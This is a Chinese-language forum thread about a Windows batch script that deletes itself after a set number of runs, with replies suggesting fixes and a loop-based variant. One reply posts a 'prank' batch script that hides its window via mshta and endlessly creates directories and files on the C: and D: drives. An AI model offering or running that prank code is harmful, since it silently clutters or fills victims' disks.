无忧启动论坛

 找回密码
 注册
搜索
系统gho:最纯净好用系统下载站广告联系 微信:wuyouceo QQ:184822951
查看: 4079|回复: 8

[分享] 执行n次(例子是五次)后删除自己

[复制链接]
发表于 2020-7-26 10:49:56 | 显示全部楼层 |阅读模式
  1. @echo off
  2. set a=%~n0
  3. set /a a+=1
  4. if %~n0 == 6 (del /s /f /q %0)
  5. echo %a%
  6. pause
  7. move %0 d:\桌面\%a%.bat
复制代码
范例下载
执行5次后删除自己.rar (211 Bytes, 下载次数: 44)

评分

参与人数 1无忧币 +5 收起 理由
879792799 + 5 赞一个!

查看全部评分

发表于 2020-7-26 10:59:13 | 显示全部楼层
好程序!
回复

使用道具 举报

发表于 2020-7-26 12:45:48 | 显示全部楼层
程序有毛病.

win7x32
变量不会保存


  1. set a=%~n0 //获取脚本文件名这句好像无意义
  2. del /s /f /q %0 //建议加上双引号
复制代码


回复

使用道具 举报

 楼主| 发表于 2020-7-26 13:30:37 来自手机 | 显示全部楼层
好的,主要是提供思路。
回复

使用道具 举报

发表于 2020-7-26 15:09:15 | 显示全部楼层
这里有个恶作剧代码用到了这个,你看看是不是:
@echo off
title ezj无窗口
%1 mshta vbscript:CreateObject("WScript.Shell").Run("%~s0 ::",0,FALSE)(window.close)&&exit
set n=1
:main
tree >ezj.txt
md "C:\ProgramData\%n%"
md "D:\%n%"
copy ezj.txt "C:\ProgramData\%n%"
copy ezj.txt "D:\%n%"
set /a n=n+1
goto main

网盘:https://c-t.work/s/8f34cdc16eb245
回复

使用道具 举报

发表于 2020-7-26 16:29:50 | 显示全部楼层
短小精悍的代码,让人看着舒心
回复

使用道具 举报

发表于 2020-7-26 20:11:32 | 显示全部楼层
本帖最后由 dos时代菜鸟 于 2020-7-26 20:12 编辑

  1. @echo off
  2. set n=6
  3. for /l %%c in (1,1,%n%) do (
  4.         call :program %%c
  5. )
  6. pause
  7. goto :end1

  8. :program
  9.         echo %1
  10.         exit /b
  11.         
  12. :end1
  13. del /s /f /q %0
复制代码
用 for 实现 循环6次,program 段可以放一些 指令,

回复

使用道具 举报

 楼主| 发表于 2020-7-26 22:44:39 来自手机 | 显示全部楼层
不一样,二次审题看看?
回复

使用道具 举报

发表于 2020-7-29 15:30:14 | 显示全部楼层
好的,主要是提供思路。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|Archiver|捐助支持|无忧启动 ( 闽ICP备05002490号-1 )

闽公网安备 35020302032614号

GMT+8, 2024-3-29 09:54

Powered by Discuz! X3.3

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表